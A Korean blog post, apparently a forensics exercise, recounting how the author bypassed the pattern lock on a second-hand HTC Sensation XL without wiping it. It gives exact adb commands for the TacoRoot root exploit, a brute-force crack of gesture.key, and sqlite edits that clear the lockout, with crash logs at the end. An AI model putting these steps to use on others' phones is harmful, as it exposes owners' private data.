들어가며

2010년대 초반은 스마트폰 분야에 있어 참으로 낭만의 시대였습니다. LG, 팬텍, 테이크, HTC, 소니 등 지금보다도 제조사 선택 폭도 넓었고, 커스터마이징도 자유로웠죠. 최근의 스마트폰은 민감한 정보를 잔뜩 담고 있을 뿐더러 기술도 고도화되다 보니 Knox나 롤백 프로텍션 같은 비가역적인 장치들도 많이 탑재되고, 제조사 최적화가 좋아지면서, 탐구할 만한 하나의 흥미로운 system이라기보다는 그저 하드웨어와 그에 상응하는 소프트웨어가 마땅히 연결되어 있고, 그 내부는 별로 신경쓰지 않는 연필이나 안경 같은 하나의 element에 지나지 않게 되어버린 것 같아 내심 아쉽습니다.

 

최근에 여자친구가 본가에 다녀오면서 예전에 쓰던 갤럭시 R 스타일을 가져왔습니다. 오래전에 쓰던 폰이라 패턴도 모르고 구글 계정으로도 해결이 안 돼서 제게 부탁을 했었는데, 해당 모델은 부트로더 락도 없고 커스텀 리커버리도 있어서 바로 오딘으로 CWM 올리고 /data/system/gesture.key 삭제하는 zip 파일을 플래싱하여 해결해 주었던 경험이 있습니다.

 

센세이션 XL은 제가 삼성 LG 기기만 주로 가지고 있던 참에, HTC 기기가 싼 가격에 중고 매물로 올라와 있는 것을 보고 데려오게 되었습니다. 말로만 듣던 센스 UI란게 얼마나 좋은가 궁금하더라고요. HTC 기기인 만큼 XDA 등에 관련 자료는 많았지만, HTC는 안드로이드 초기부터 부트로더 락을 걸고 있고, htcdev 개발자 사이트에서 쉽게 해제 가능하지만 공장 초기화를 수반한다는 것을 알게 되었습니다.

 

포렌식에서는 기기 내에 저장된 데이터를 훼손하지 않아야 하기 때문에, 커스텀 리커버리를 통한 잠금 해제는 부트로더 취약점을 발견하지 않는 한 불가능합니다. 이 포스트는 HTC Sensation XL 기기를 초기화하지 않으면서 잠금을 해제하기까지 제가 거친 과정을 정리한 글입니다.

기기 정보

  • 모델명: HTC Sensation XL (HTC-X315E)
  • 코드네임: Runnymede
  • 안드로이드 버전: 2.3.5 (GB)
  • 리눅스 커널 버전: 2.6.35
  • H-Boot (부트로더): 버전 1.25, Locked, S-ON (NAND Locked)
    • 언락 가능하나, 공장 초기화됨.
    • 리락 시 "Relocked"로 표시됨으로써 이전으로 되돌릴 수 없음.
  • 패턴 잠금
  • USB 디버깅 활성화
  • 비행기 모드 활성화 (해당 조건에 대해서는 아래에서 다루겠음)
  • 목표: 기기를 초기화하지 않고 잠금화면을 bypass하기
 ~  adb shell getprop ro.build.version.release
2.3.5
 ~  adb shell cat /proc/version

Linux version 2.6.35.13-gde19f2f (htc-kernel@and18-2) (gcc version 4.4.0 (GCC) ) #1 PREEMPT Fri Dec 9 23:55:56 CST 2011

1단계 시도

진저브레드 시대 안드로이드 패턴 잠금 해제 방법을 검색하면, 크게 두 가지 방법을 제시하고 있습니다.

하지만 다음 방법은 권한 문제로 모두 실패하였는데, 안드로이드 버전이 올라가며 권한이 제대로 설정되며 막힌 것으로 보입니다.

 ~  adb shell
$ cd /data/data/com.android.providers.settings/databases
$ cat settings.db
settings.db: Permission denied
$ rm /data/system/gesture.key
rm failed for /data/system/gesture.key, Permission denied
$ cat /data/system/gesture.key
/data/system/gesture.key: Permission denied

2단계 시도

화면 잠금과 관련된 파일을 전혀 건드릴 수 없으므로, 기기를 루팅해야 합니다. 안드로이드 2.3.5는 안드로이드 초기 버전이기도 하면서, 유저들의 커스터마이징 (루팅 및 커스텀 펌웨어) 이 활발했던 시기이기 때문에 다양한 루트 취약점 도구가 공개되어 있습니다. 이것들을 사용해 보겠습니다.

 ~  adb shell mkdir /data/local/tmp
 ~  adb push /Users/yhsphd/Downloads/SuperOneClickv2.2-ShortFuse/Exploits/* /data/local/tmp/
/Users/yhsphd/Downloads/SuperOneClickv...ped. 21.6 MB/s (16830 bytes in 0.001s)
/Users/yhsphd/Downloads/SuperOneClickv...d. 736.7 MB/s (585731 bytes in 0.001s)
/Users/yhsphd/Downloads/SuperOneClickv...ed. 101.7 MB/s (23056 bytes in 0.000s)
3 files pushed, 0 skipped. 7.0 MB/s (625617 bytes in 0.085s)
 ✘  ~  adb shell
$ cd /data/local/tmp
$ ls
GingerBreak
psneuter
zergRush
$ chmod 777 ./*

GingerBreak

$ ./GingerBreak

[**] Gingerbreak/Honeybomb -- android 2.[2,3], 3.0 softbreak
[**] (C) 2010-2011 The Android Exploid Crew. All rights reserved.
[**] Kudos to jenzi, the #brownpants-party, the Open Source folks,
[**] Zynamics for ARM skills and Onkel Budi

[**] donate to 7-4-3-C@web.de if you like
[**] Exploit may take a while!

[+] Plain Gingerbread mode!
[+] Found system: 0xafd1884d strcmp: 0xafd38a09
[+] Found PT_DYNAMIC of size 232 (29 entries)
[+] Found GOT: 0x0001638c
[+] Using device /devices/platform/msm_sdcc.2/mmc_host/mmc0
[*] vold: 1363 GOT start: 0x0001638c GOT end: 0x000163cc
^C

Psneuter

$ ./psneuter
Failed to set prot mask (Inappropriate ioctl for device)

ZergRush

$ ./zergRush

[**] Zerg rush - Android 2.2/2.3 local root
[**] (C) 2011 Revolutionary. All rights reserved.

[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.

[+] Found a GingerBread ! 0x00017118
[*] Scooting ...
[*] Sending 149 zerglings ...
[*] Sending 189 zerglings ...
[-] Hellions with BLUE flames !
$ exit
^C^C^C

세 가지 취약점 모두 실패한 것을 볼 수 있습니다.

https://github.com/android-rooting-tools/android_run_root_shell 등 다른 취약점 모음도 시도해 보았으나 실패하였고, 범용 루팅 툴 대신 device-specific 취약점으로 눈을 돌리게 되었습니다.

TacoRoot

TacoRoot is a root exploit for HTC phones by Justin Case/jcase.

The 'vulnerability' was discovered independently by Justin Case, and Dan Rosenberg
in 2011, with Rosenberg finding it first.

How It Works
HTC left the recovery log world writeable, so all we have todo is delete it, symlink
it to the non existant file /data/local.prop and reboot to recovery. Recovery will
write a new log, allowing us to set ro.kernel.qemu=1 and reboot. This will make the
phone believe it's an emulator, and run adbD as root. While the phone will be highly
unstable, and may not fully boot, you will have a root shell with adb. This gives
you the ability to patch misc, and downgrade your phone.

https://github.com/CunningLogic/TacoRoot

TacoRoot는 HTC의 리커버리 취약점을 이용하는 루팅 방법입니다. HTC 리커버리는 로그 파일 /data/data/recovery/log 를 쓰기 가능하게 두는 권한 오류가 있고, 이를 /data/local.prop 과 심볼릭 링크를 걺으로써 prop value를 자유롭게 넣을 수 있게 됩니다. ro.kernel.qemu=1 값을 가지고 부팅된 기기는 adb에 루트 권한을 내주게 됩니다.

 

Executable을 주입할 필요도 없이 명령어 몇 줄로 실행 가능한 취약점이라, 깃허브 리포의 스크립트를 사용하지 않고 직접 adb에 명령어를 입력하여 수행하였습니다.

 

해당 루팅 과정은 한 번의 리커버리 진입, 한 번의 재부팅으로 이루어져 있습니다. 공장 초기화 이후 최소 한 번은 리커버리에 진입한 적이 있어야 합니다.

 

센세이션 XL의 리커버리 진입은 adb reboot recovery를 이용해도 되고, key combo를 이용해도 됩니다. key combo는 전원이 꺼져 있을 때 전원+볼륨하 키 눌러주면 부트로더 화면이 뜨고, 여기서 볼륨 키를 이용해 RECOVERY 선택한 후 전원 버튼 누르면 두 번째 화면으로 넘어갑니다. adb로 리커버리 부팅한 경우 두 번째 화면으로 바로 부팅합니다. 이때 볼륨상+볼륨하+전원 버튼 순서대로 동시에 눌러주면 리커버리 화면이 표시됩니다. 실수로 초기화하지 않게 조심하면서 그냥 다시 재부팅해줍니다.

 ~  adb reboot recovery 

// 리커버리 진입 후 재부팅

 ~  adb shell 
$ rm /data/data/recovery/log 
$ ln -s /data/local.prop /data/data/recovery/log 
$ reboot recovery 

// 리커버리 진입 후 재부팅

 ~  adb shell 
$ echo "ro.kernel.qemu=1" > /data/local.prop 
$ reboot 

// 재부팅

 ~  adb shell 
#

TacoRoot 방식을 이용해 루트 권한 획득에 성공했습니다.

패턴 잠금 해제

루트 권한을 얻었으니, 이전에 권한 문제로 실패하였던 패턴 잠금 해제 방법들을 다시 시도할 수 있습니다. 또한, gesture.key 파일을 읽을 수도 있으므로 패턴 자체를 알아낼 수도 있습니다.

브루트 포스

https://github.com/eclipse95/android_lock_cracker

 ~  adb pull /data/system/gesture.key 
/data/system/gesture.key: 1 file pulle...skipped. 0.0 MB/s (20 bytes in 0.021s) 
 ~  git clone https://github.com/eclipse95/android_lock_cracker 
'android_lock_cracker'에 복제합니다... 
remote: Enumerating objects: 33, done. 
remote: Total 33 (delta 0), reused 0 (delta 0), pack-reused 33 (from 1) 
오브젝트를 받는 중: 100% (33/33), 10.47 KiB | 10.47 MiB/s, 완료. 
델타를 알아내는 중: 100% (16/16), 완료. 
 ~  cd android_lock_cracker  
 ~/android_lock_cracker   master  ls 
aplc.py            CHANGELOG          LICENSE            TODO 
apwlc.py           gesture.sample.key README.md 
~/android_lock_cracker   master  python2 ./aplc.py ../gesture.key 
 
################################ 
# Android Pattern Lock Cracker # 
#             v0.2             # 
# ---------------------------- # 
#  Written by Chema Garcia     # 
#     http://safetybits.net    # 
#     chema@safetybits.net     # 
#          @sch3m4             # 
################################ 
 
[i] Taken from: http://forensics.spreitzenbarth.de/2012/02/28/cracking-the-pattern-lock-on-android/ 
 
[:D] The pattern has been FOUND!!! => 451372068 
 
[+] Gesture: 
 
 -----  -----  -----  
 | 7 |  | 3 |  | 6 |  
 -----  -----  -----  
 -----  -----  -----  
 | 4 |  | 1 |  | 2 |  
 -----  -----  -----  
 -----  -----  -----  
 | 8 |  | 5 |  | 9 |  
 -----  -----  -----  
 
It took: 2.5601 seconds 
 ~/android_lock_cracker   master 

 

 

잠금화면 삭제

구형 안드로이드 버전은 구글 계정에 로그인되어 있는 경우, 패턴을 20번 이상 틀리면 패턴 입력을 거부하고 구글 계정을 통해서만 잠금 해제할 수 있도록 잠겨버립니다. 이러한 경우 gesture.key 삭제만으로 해결되는 경우도 있지만(서론에서 언급한 갤럭시 R 스타일), 센세이션 XL은 그렇지 않았습니다. 두 가지 방법으로 뚫어보겠습니다.

잠금화면 앱 삭제

첫 번째는 우악스러운 방법입니다. 루트 권한을 가지고 있으니, adb로다가 /system/app/HtcLockScreen.apk 파일을 삭제하거나 이름을 바꿔버리는 거죠.

 ~  adb shell rm /data/system/gesture.key
 ~  adb shell mv /system/app/HtcLockScreen.apk /system/app/HtcLockScreen_.apk

기기를 재부팅하면 센스잠금화면 없는 센스UI가 반겨줍니다. 왼쪽 슬라이더를 밀어서 잠금해제하면 같은 화면으로 빠지게 되지만, 아래의 긴급 전화 버튼을 누른 뒤 홈 버튼을 눌러주면, 패턴을 삭제했기에 사실은 이미 잠금이 풀린 상태이므로 홈 화면으로 나가지게 됩니다. 특이점으로는, HTC Lockscreen 앱을 지우지 않으면 긴급 전화 화면에서 홈으로 나가지지 않습니다.

 

또한 패턴을 다시 설정하더라도 "구글 계정으로 로그인해야 하는 상태"가 풀리지 않기 때문에, gesture.key를 삭제하지 않으면 다시 잠금을 풀 수 없게 되어버립니다. 따라서 처음 성공한 방식은 이것임에도 불구하고, 실제 포렌식을 수행하는 경우에는 시스템 파티션을 건드리지 않는 아래 방법을 사용하는 게 더 좋을 것입니다.

설정 DB 수정

이 방법은 좀 더 우아합니다. 이것도 글 초반에 확인했던 방법 중 나머지 방법을 이용하는 것으로, /data/data/com.android.providers.settings/databases/settings.db 의 데이터를 수정하는 것입니다. 다만, 기존에 참고한 글에서는 0으로 수정해야 하는 lock_pattern_autolock, lockscreen.lockedoutpermanently 값이 system 테이블에 있는 것으로 나와 있었으나, 해당 기기에서는 system이 아닌 secure 테이블에 있었습니다. 또한 sqlite3 executable이 포함되어 있지 않았기 때문에, 직접 넣어줘야 합니다.

 ~  adb push /Users/yhsphd/Downloads/SuperOneClickv2.2-ShortFuse/Dependencies/sqlite3  /data/local/tmp 
/Users/yhsphd/Downloads/SuperOneClickv...ped. 41.1 MB/s (24120 bytes in 0.001s) 
 ~  adb remount 
remount succeeded 
 ~  adb shell 
# cd /data/local/tmp 
# chmod 777 ./* 
# ./sqlite3 /data/data/com.android.providers.settings/databases/settings.db 
SQLite version 3.7.2 
Enter ".help" for instructions
sqlite> update secure set value=0 where name='lock_pattern_autolock'; 
sqlite> update secure set value=0 where name='lockscreen.lockedoutpermanently'; 
sqlite> .quit 
# reboot

sqlite3 바이너리는 SuperOneClick에 포함된 것을 사용하였습니다. https://xdaforums.com/t/app-superoneclick-v2-3-3-motorola-exploit-added.803682/

작업을 완료하고 재부팅하면, 깔끔하게 잠금화면이 제거된 모습을 볼 수 있습니다.

비행기 모드가 필요한 이유

글 초반에, 비행기 모드에 대해 언급한 부분이 있습니다. 이는 저희가 해당 글에서 루팅을 하는 방식 때문입니다. ro.kernel.qemu 값은 원래 안드로이드 개발용 AVD(Android Virtual Device)에서만 활성화되는 값으로, production device에서 이 값을 활성화시키면, security error를 내뿜는 프로세스가 발생할 수 있습니다. 센세이션 XL에서 비행기 모드를 활성화한 상황에서도 Status Bar가 크래쉬나는 등 동작이 안정적이지 않았으며, 비행기 모드를 비활성화하는 순간 bootloop에 빠지게 됩니다.

 

 

더보기
 ~  adb logcat "*:E" 
--------- beginning of /dev/log/system 
E/ConnectivityService( 2248): Trying to create a DataStateTracker for an unsupported net type 6 
E/AndroidRuntime( 2248): *** FATAL EXCEPTION IN SYSTEM PROCESS: ConnectivityThread 
E/AndroidRuntime( 2248): java.lang.NullPointerException 
E/AndroidRuntime( 2248): 	at android.bluetooth.BluetoothA2dp.getConnectedSinks(BluetoothA2dp.java:202) 
E/AndroidRuntime( 2248): 	at android.net.wifi.WifiStateTracker.checkIsBluetoothPlaying(WifiStateTracker.java:1150) 
E/AndroidRuntime( 2248): 	at android.net.wifi.WifiStateTracker.handleMessage(WifiStateTracker.java:1393) 
E/AndroidRuntime( 2248): 	at android.os.Handler.dispatchMessage(Handler.java:99) 
E/AndroidRuntime( 2248): 	at android.os.Looper.loop(Looper.java:150) 
E/AndroidRuntime( 2248): 	at com.android.server.ConnectivityService$ConnectivityThread.run(ConnectivityService.java:440) 
E/ActivityManager( 2248): Error running process 
E/ActivityManager( 2248): java.io.IOException: Error running exec(). Command: [/system/xbin/procrank] Working Directory: null Environment: [ANDROID_SOCKET_zygote=10, ANDROID_BOOTLOGO=1, EXTERNAL_STORAGE=/mnt/sdcard, ANDROID_ASSETS=/system/app, PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin, ASEC_MOUNTPOINT=/mnt/asec, LOOP_MOUNTPOINT=/mnt/obb, BOOTCLASSPATH=/system/framework/core.jar:/system/framework/bouncycastle.jar:/system/framework/ext.jar:/system/framework/framework.jar:/system/framework/android.policy.jar:/system/framework/services.jar:/system/framework/core-junit.jar:/system/framework/HTCDev.jar:/system/framework/HTCExtension.jar:/system/framework/com.htc.framework.jar:/system/framework/com.scalado.util.ScaladoUtil.jar:/system/framework/com.orange.authentication.simcard.jar:/system/framework/android.supl.jar:/system/framework/com.ecrio.sip.jar:/system/framework/kafdex.jar, ANDROID_DATA=/data, LD_LIBRARY_PATH=/vendor/lib:/system/lib, ANDROID_ROOT=/system, ANDROID_PROPERTY_WORKSPACE=9,65536] 
E/ActivityManager( 2248): 	at java.lang.ProcessManager.exec(ProcessManager.java:224) 
E/ActivityManager( 2248): 	at java.lang.ProcessBuilder.start(ProcessBuilder.java:202) 
E/ActivityManager( 2248): 	at com.android.server.am.ActivityManagerService.logProcessResult(ActivityManagerService.java:7960) 
E/ActivityManager( 2248): 	at com.android.server.am.ActivityManagerService.access$1000(ActivityManagerService.java:217) 
E/ActivityManager( 2248): 	at com.android.server.am.ActivityManagerService$12.run(ActivityManagerService.java:8429) 
E/ActivityManager( 2248): 	at com.android.server.am.ActivityManagerService.addErrorToDropBoxForHTC(ActivityManagerService.java:8467) 
E/ActivityManager( 2248): 	at com.android.server.am.ActivityManagerService.addErrorToDropBox(ActivityManagerService.java:8137) 
E/ActivityManager( 2248): 	at com.android.server.am.ActivityManagerService.handleApplicationCrash(ActivityManagerService.java:7740) 
E/ActivityManager( 2248): 	at com.android.internal.os.RuntimeInit$UncaughtHandler.uncaughtException(RuntimeInit.java:97) 
E/ActivityManager( 2248): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:854) 
E/ActivityManager( 2248): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:851) 
E/ActivityManager( 2248): Caused by: java.io.IOException: No such file or directory 
E/ActivityManager( 2248): 	at java.lang.ProcessManager.exec(Native Method) 
E/ActivityManager( 2248): 	at java.lang.ProcessManager.exec(ProcessManager.java:222) 
E/ActivityManager( 2248): 	... 10 more 
E/System  ( 2382): Failure starting core service 
E/System  ( 2382): java.lang.SecurityException 
E/System  ( 2382): 	at android.os.BinderProxy.transact(Native Method) 
E/System  ( 2382): 	at android.os.ServiceManagerProxy.addService(ServiceManagerNative.java:146) 
E/System  ( 2382): 	at android.os.ServiceManager.addService(ServiceManager.java:72) 
E/System  ( 2382): 	at com.android.server.ServerThread.run(SystemServer.java:329) 
E/ConnectivityService( 2382): Trying to create a DataStateTracker for an unsupported net type 6 
E/AndroidRuntime( 2382): *** FATAL EXCEPTION IN SYSTEM PROCESS: ConnectivityThread 
E/AndroidRuntime( 2382): java.lang.NullPointerException 
E/AndroidRuntime( 2382): 	at android.bluetooth.BluetoothA2dp.getConnectedSinks(BluetoothA2dp.java:202) 
E/AndroidRuntime( 2382): 	at android.net.wifi.WifiStateTracker.checkIsBluetoothPlaying(WifiStateTracker.java:1150) 
E/AndroidRuntime( 2382): 	at android.net.wifi.WifiStateTracker.handleMessage(WifiStateTracker.java:1393) 
E/AndroidRuntime( 2382): 	at android.os.Handler.dispatchMessage(Handler.java:99) 
E/AndroidRuntime( 2382): 	at android.os.Looper.loop(Looper.java:150) 
E/AndroidRuntime( 2382): 	at com.android.server.ConnectivityService$ConnectivityThread.run(ConnectivityService.java:440) 
E/ActivityManager( 2382): Error running process 
E/ActivityManager( 2382): java.io.IOException: Error running exec(). Command: [/system/xbin/procrank] Working Directory: null Environment: [ANDROID_SOCKET_zygote=10, ANDROID_BOOTLOGO=1, EXTERNAL_STORAGE=/mnt/sdcard, ANDROID_ASSETS=/system/app, PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin, ASEC_MOUNTPOINT=/mnt/asec, LOOP_MOUNTPOINT=/mnt/obb, BOOTCLASSPATH=/system/framework/core.jar:/system/framework/bouncycastle.jar:/system/framework/ext.jar:/system/framework/framework.jar:/system/framework/android.policy.jar:/system/framework/services.jar:/system/framework/core-junit.jar:/system/framework/HTCDev.jar:/system/framework/HTCExtension.jar:/system/framework/com.htc.framework.jar:/system/framework/com.scalado.util.ScaladoUtil.jar:/system/framework/com.orange.authentication.simcard.jar:/system/framework/android.supl.jar:/system/framework/com.ecrio.sip.jar:/system/framework/kafdex.jar, ANDROID_DATA=/data, LD_LIBRARY_PATH=/vendor/lib:/system/lib, ANDROID_ROOT=/system, ANDROID_PROPERTY_WORKSPACE=9,65536] 
E/ActivityManager( 2382): 	at java.lang.ProcessManager.exec(ProcessManager.java:224) 
E/ActivityManager( 2382): 	at java.lang.ProcessBuilder.start(ProcessBuilder.java:202) 
E/ActivityManager( 2382): 	at com.android.server.am.ActivityManagerService.logProcessResult(ActivityManagerService.java:7960) 
E/ActivityManager( 2382): 	at com.android.server.am.ActivityManagerService.access$1000(ActivityManagerService.java:217) 
E/ActivityManager( 2382): 	at com.android.server.am.ActivityManagerService$12.run(ActivityManagerService.java:8429) 
E/ActivityManager( 2382): 	at com.android.server.am.ActivityManagerService.addErrorToDropBoxForHTC(ActivityManagerService.java:8467) 
E/ActivityManager( 2382): 	at com.android.server.am.ActivityManagerService.addErrorToDropBox(ActivityManagerService.java:8137) 
E/ActivityManager( 2382): 	at com.android.server.am.ActivityManagerService.handleApplicationCrash(ActivityManagerService.java:7740) 
E/ActivityManager( 2382): 	at com.android.internal.os.RuntimeInit$UncaughtHandler.uncaughtException(RuntimeInit.java:97) 
E/ActivityManager( 2382): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:854) 
E/ActivityManager( 2382): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:851) 
E/ActivityManager( 2382): Caused by: java.io.IOException: No such file or directory 
E/ActivityManager( 2382): 	at java.lang.ProcessManager.exec(Native Method) 
E/ActivityManager( 2382): 	at java.lang.ProcessManager.exec(ProcessManager.java:222) 
E/ActivityManager( 2382): 	... 10 more 
--------- beginning of /dev/log/main 
E/lights  ( 2516): [LedErr] open_lights no mattched name bluetooth 
E/LightsService( 2516): [LedErr] get_device bluetooth is reutrn NULL 
E/lights  ( 2516): [LedErr] open_lights no mattched name wifi 
E/LightsService( 2516): [LedErr] get_device wifi is reutrn NULL 
E/System  ( 2516): Failure starting core service 
E/System  ( 2516): java.lang.SecurityException 
E/System  ( 2516): 	at android.os.BinderProxy.transact(Native Method) 
E/System  ( 2516): 	at android.os.ServiceManagerProxy.addService(ServiceManagerNative.java:146) 
E/System  ( 2516): 	at android.os.ServiceManager.addService(ServiceManager.java:72) 
E/System  ( 2516): 	at com.android.server.ServerThread.run(SystemServer.java:329) 
E/MobileDataStateTracker( 2516): Error mapping networkType 21 to apnType. 
E/ConnectivityService( 2516): Trying to create a DataStateTracker for an unsupported net type 6 
E/AndroidRuntime( 2516): *** FATAL EXCEPTION IN SYSTEM PROCESS: ConnectivityThread 
E/AndroidRuntime( 2516): java.lang.NullPointerException 
E/AndroidRuntime( 2516): 	at android.bluetooth.BluetoothA2dp.getConnectedSinks(BluetoothA2dp.java:202) 
E/AndroidRuntime( 2516): 	at android.net.wifi.WifiStateTracker.checkIsBluetoothPlaying(WifiStateTracker.java:1150) 
E/AndroidRuntime( 2516): 	at android.net.wifi.WifiStateTracker.handleMessage(WifiStateTracker.java:1393) 
E/AndroidRuntime( 2516): 	at android.os.Handler.dispatchMessage(Handler.java:99) 
E/AndroidRuntime( 2516): 	at android.os.Looper.loop(Looper.java:150) 
E/AndroidRuntime( 2516): 	at com.android.server.ConnectivityService$ConnectivityThread.run(ConnectivityService.java:440) 
E/ActivityManager( 2516): Error running process 
E/ActivityManager( 2516): java.io.IOException: Error running exec(). Command: [/system/xbin/procrank] Working Directory: null Environment: [ANDROID_SOCKET_zygote=10, ANDROID_BOOTLOGO=1, EXTERNAL_STORAGE=/mnt/sdcard, ANDROID_ASSETS=/system/app, PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin, ASEC_MOUNTPOINT=/mnt/asec, LOOP_MOUNTPOINT=/mnt/obb, BOOTCLASSPATH=/system/framework/core.jar:/system/framework/bouncycastle.jar:/system/framework/ext.jar:/system/framework/framework.jar:/system/framework/android.policy.jar:/system/framework/services.jar:/system/framework/core-junit.jar:/system/framework/HTCDev.jar:/system/framework/HTCExtension.jar:/system/framework/com.htc.framework.jar:/system/framework/com.scalado.util.ScaladoUtil.jar:/system/framework/com.orange.authentication.simcard.jar:/system/framework/android.supl.jar:/system/framework/com.ecrio.sip.jar:/system/framework/kafdex.jar, ANDROID_DATA=/data, LD_LIBRARY_PATH=/vendor/lib:/system/lib, ANDROID_ROOT=/system, ANDROID_PROPERTY_WORKSPACE=9,65536] 
E/ActivityManager( 2516): 	at java.lang.ProcessManager.exec(ProcessManager.java:224) 
E/ActivityManager( 2516): 	at java.lang.ProcessBuilder.start(ProcessBuilder.java:202) 
E/ActivityManager( 2516): 	at com.android.server.am.ActivityManagerService.logProcessResult(ActivityManagerService.java:7960) 
E/ActivityManager( 2516): 	at com.android.server.am.ActivityManagerService.access$1000(ActivityManagerService.java:217) 
E/ActivityManager( 2516): 	at com.android.server.am.ActivityManagerService$12.run(ActivityManagerService.java:8429) 
E/ActivityManager( 2516): 	at com.android.server.am.ActivityManagerService.addErrorToDropBoxForHTC(ActivityManagerService.java:8467) 
E/ActivityManager( 2516): 	at com.android.server.am.ActivityManagerService.addErrorToDropBox(ActivityManagerService.java:8137) 
E/ActivityManager( 2516): 	at com.android.server.am.ActivityManagerService.handleApplicationCrash(ActivityManagerService.java:7740) 
E/ActivityManager( 2516): 	at com.android.internal.os.RuntimeInit$UncaughtHandler.uncaughtException(RuntimeInit.java:97) 
E/ActivityManager( 2516): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:854) 
E/ActivityManager( 2516): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:851) 
E/ActivityManager( 2516): Caused by: java.io.IOException: No such file or directory 
E/ActivityManager( 2516): 	at java.lang.ProcessManager.exec(Native Method) 
E/ActivityManager( 2516): 	at java.lang.ProcessManager.exec(ProcessManager.java:222) 
E/ActivityManager( 2516): 	... 10 more 
E/installd( 1379): eof 
E/installd( 1379): failed to read size 
E/Zygote  ( 2619): setreuid() failed. errno: 17 
E/libEGL  ( 2651): eglSetSwapRectangleANDROID:1995 error 3008 (EGL_BAD_DISPLAY) 
E/Sensors ( 2651): Sensors sensors_poll_context_t++ 
E/Sensors ( 2651): could not open the accel irq device node 
E/MPL-mlsl( 2651): Cannot open file "/data/misc/mpumfg.bin" for read 
E/MPL-storeload( 2651): MLLoadCalibration_HTC_MFG, Overwrite preCalData.. 
E/MPL-mlsl( 2651): Cannot open file "/data/misc/mpuuser.bin" for read 
E/MPL-storeload( 2651): MLLoadCalibration, Could not read the User calibration,file not exist 
E/Sensors ( 2651): could not open MPL calibration file 
E/SurfaceFlinger( 2651): eglSwapBuffers: EGL error 0x3008 (EGL_BAD_DISPLAY) 
E/HtcBootAnimation( 2669): Could not find width.  
E/HtcBootAnimation( 2669): Could not find height.  
E/HtcBootAnimation( 2669): Could not find framerate.  
E/HtcBootAnimation( 2669): Could not find part1.  
E/HtcBootAnimation( 2669): Could not find part2.  
E/HtcBootAnimation( 2669): Could not find part3.  
E/HtcBootAnimation( 2669): Could not find audio.  
E/lights  ( 2651): [LedErr] open_lights no mattched name bluetooth 
E/LightsService( 2651): [LedErr] get_device bluetooth is reutrn NULL 
E/lights  ( 2651): [LedErr] open_lights no mattched name wifi 
E/LightsService( 2651): [LedErr] get_device wifi is reutrn NULL 
E/System  ( 2651): Failure starting core service 
E/System  ( 2651): java.lang.SecurityException 
E/System  ( 2651): 	at android.os.BinderProxy.transact(Native Method) 
E/System  ( 2651): 	at android.os.ServiceManagerProxy.addService(ServiceManagerNative.java:146) 
E/System  ( 2651): 	at android.os.ServiceManager.addService(ServiceManager.java:72) 
E/System  ( 2651): 	at com.android.server.ServerThread.run(SystemServer.java:329) 
E/MobileDataStateTracker( 2651): Error mapping networkType 21 to apnType. 
E/ConnectivityService( 2651): Trying to create a DataStateTracker for an unsupported net type 6 
E/AndroidRuntime( 2651): *** FATAL EXCEPTION IN SYSTEM PROCESS: ConnectivityThread 
E/AndroidRuntime( 2651): java.lang.NullPointerException 
E/AndroidRuntime( 2651): 	at android.bluetooth.BluetoothA2dp.getConnectedSinks(BluetoothA2dp.java:202) 
E/AndroidRuntime( 2651): 	at android.net.wifi.WifiStateTracker.checkIsBluetoothPlaying(WifiStateTracker.java:1150) 
E/AndroidRuntime( 2651): 	at android.net.wifi.WifiStateTracker.handleMessage(WifiStateTracker.java:1393) 
E/AndroidRuntime( 2651): 	at android.os.Handler.dispatchMessage(Handler.java:99) 
E/AndroidRuntime( 2651): 	at android.os.Looper.loop(Looper.java:150) 
E/AndroidRuntime( 2651): 	at com.android.server.ConnectivityService$ConnectivityThread.run(ConnectivityService.java:440) 
E/ActivityManager( 2651): Error running process 
E/ActivityManager( 2651): java.io.IOException: Error running exec(). Command: [/system/xbin/procrank] Working Directory: null Environment: [ANDROID_SOCKET_zygote=10, ANDROID_BOOTLOGO=1, EXTERNAL_STORAGE=/mnt/sdcard, ANDROID_ASSETS=/system/app, PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin, ASEC_MOUNTPOINT=/mnt/asec, LOOP_MOUNTPOINT=/mnt/obb, BOOTCLASSPATH=/system/framework/core.jar:/system/framework/bouncycastle.jar:/system/framework/ext.jar:/system/framework/framework.jar:/system/framework/android.policy.jar:/system/framework/services.jar:/system/framework/core-junit.jar:/system/framework/HTCDev.jar:/system/framework/HTCExtension.jar:/system/framework/com.htc.framework.jar:/system/framework/com.scalado.util.ScaladoUtil.jar:/system/framework/com.orange.authentication.simcard.jar:/system/framework/android.supl.jar:/system/framework/com.ecrio.sip.jar:/system/framework/kafdex.jar, ANDROID_DATA=/data, LD_LIBRARY_PATH=/vendor/lib:/system/lib, ANDROID_ROOT=/system, ANDROID_PROPERTY_WORKSPACE=9,65536] 
E/ActivityManager( 2651): 	at java.lang.ProcessManager.exec(ProcessManager.java:224) 
E/ActivityManager( 2651): 	at java.lang.ProcessBuilder.start(ProcessBuilder.java:202) 
E/ActivityManager( 2651): 	at com.android.server.am.ActivityManagerService.logProcessResult(ActivityManagerService.java:7960) 
E/ActivityManager( 2651): 	at com.android.server.am.ActivityManagerService.access$1000(ActivityManagerService.java:217) 
E/ActivityManager( 2651): 	at com.android.server.am.ActivityManagerService$12.run(ActivityManagerService.java:8429) 
E/ActivityManager( 2651): 	at com.android.server.am.ActivityManagerService.addErrorToDropBoxForHTC(ActivityManagerService.java:8467) 
E/ActivityManager( 2651): 	at com.android.server.am.ActivityManagerService.addErrorToDropBox(ActivityManagerService.java:8137) 
E/ActivityManager( 2651): 	at com.android.server.am.ActivityManagerService.handleApplicationCrash(ActivityManagerService.java:7740) 
E/ActivityManager( 2651): 	at com.android.internal.os.RuntimeInit$UncaughtHandler.uncaughtException(RuntimeInit.java:97) 
E/ActivityManager( 2651): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:854) 
E/ActivityManager( 2651): 	at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:851) 
